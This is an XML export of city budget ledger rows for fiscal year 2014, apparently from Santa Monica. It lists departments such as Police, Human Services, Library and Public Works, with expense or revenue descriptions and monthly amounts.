<row _id="5706"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2909.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2909.0</total></row>
<row _id="5707"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1520.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1520.0</total></row>
<row _id="5708"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6768.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6768.0</total></row>
<row _id="5709"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10165.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10165.0</total></row>
<row _id="5710"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>973.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>973.0</total></row>
<row _id="5711"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5712"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>569181.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>569181.0</total></row>
<row _id="5713"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>640167.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>640167.0</total></row>
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<row _id="5716"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>23228.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23228.0</total></row>
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<row _id="5718"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7699.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7699.0</total></row>
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<row _id="5723"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1146.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1146.0</total></row>
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<row _id="5726"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2188.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2188.0</total></row>
<row _id="5727"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>26910.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26910.0</total></row>
<row _id="5728"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>43393.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43393.0</total></row>
<row _id="5729"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>48374.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>48374.0</total></row>
<row _id="5730"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>66504.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>66504.0</total></row>
<row _id="5731"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>487311.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>487311.0</total></row>
<row _id="5732"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>43507.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43507.0</total></row>
<row _id="5733"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>48609.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>48609.0</total></row>
<row _id="5734"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23689.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23689.0</total></row>
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<row _id="5765"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4720.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4720.0</total></row>
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<row _id="5774"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>49380.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49380.0</total></row>
<row _id="5775"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>19081.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19081.0</total></row>
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<row _id="5778"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>189443.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>189443.0</total></row>
<row _id="5779"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>79685.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>79685.0</total></row>
<row _id="5780"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1438006.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1438006.0</total></row>
<row _id="5781"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12167.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12167.0</total></row>
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<row _id="5784"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8783.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8783.0</total></row>
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<row _id="5838"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>209696.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>209696.0</total></row>
<row _id="5839"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20913.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20913.0</total></row>
<row _id="5840"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16480.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16480.0</total></row>
<row _id="5841"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8542.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8542.0</total></row>
<row _id="5842"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11038.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11038.0</total></row>
<row _id="5843"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>35602.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35602.0</total></row>
<row _id="5844"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11376.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11376.0</total></row>
<row _id="5845"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401001.0</object><object_description>SWIM CENTER-GROUP LESSONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-173047.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-173047.0</total></row>
<row _id="5846"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401004.0</object><object_description>SWIM CENTER-PERMIT GROUPS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-154324.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-154324.0</total></row>
<row _id="5847"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8576.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8576.0</total></row>
<row _id="5848"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>324.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>324.0</total></row>
<row _id="5849"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>52521.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52521.0</total></row>
<row _id="5850"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403830.0</object><object_description>SUPPORTIVE HOUSING PROGRAM GR</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-389215.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-389215.0</total></row>
<row _id="5851"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3476.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3476.0</total></row>
<row _id="5852"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1073.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1073.0</total></row>
<row _id="5853"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>36619.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36619.0</total></row>
<row _id="5854"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>882.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>882.0</total></row>
<row _id="5855"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1686.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1686.0</total></row>
<row _id="5856"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5615.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5615.0</total></row>
<row _id="5857"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>317835.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>317835.0</total></row>
